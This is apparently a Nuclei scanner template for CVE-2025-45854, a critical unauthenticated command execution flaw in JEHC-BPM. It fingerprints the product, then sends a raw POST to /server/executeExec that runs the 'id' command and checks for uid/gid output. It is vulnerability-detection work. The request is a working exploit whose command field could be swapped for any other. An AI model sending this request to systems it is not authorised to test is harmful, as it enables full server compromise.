JEHC-BPM - Remote Code Execute

id: CVE-2025-45854

info:
  name: JEHC-BPM - Remote Code Execute
  author: ritikchaddha
  severity: critical
  description: |
    A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM <= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the /server/executeExec endpoint due to missing authorization checks, achieving complete server compromise.
  remediation: |
    Upgrade JEHC-BPM to a version later than 2.0.1 that implements proper authorization checks on the executeExec endpoint.
  reference:
    - https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460
    - https://nvd.nist.gov/vuln/detail/CVE-2025-45854
  classification:
    epss-score: 0.02685
    epss-percentile: 0.84027
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-45854
    cwe-id: CWE-862,CWE-434
  metadata:
    max-request: 1
    product: jehc-bpm
    fofa-query: body="JEHC"
  tags: cve,cve2025,jehc-bpm,rce,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        words:
          - "JEHC"
          - "XSHI"
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /server/executeExec HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {
          "actuator": {
            "clientIp": "127.0.0.1",
            "port": 8082,
            "applicationName": "testApp",
            "env": "prod",
            "uploadTime": 1704523200000,
            "hasPrefixApplicationName": false,
            "clientHttpPrefix": "http"
          },
          "execParams": {
            "command": "id"
          }
        }

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
# digest: 490a004630440220229c4effc8154c740187d6a3873757708732db4b81633a1a727525abee345f6e02201e09f5c7d8010f9f11371499dbc7354cbb6808b0ba6e67cffaa457b767f3f947:922c64590222798bb761d5b6d8e72950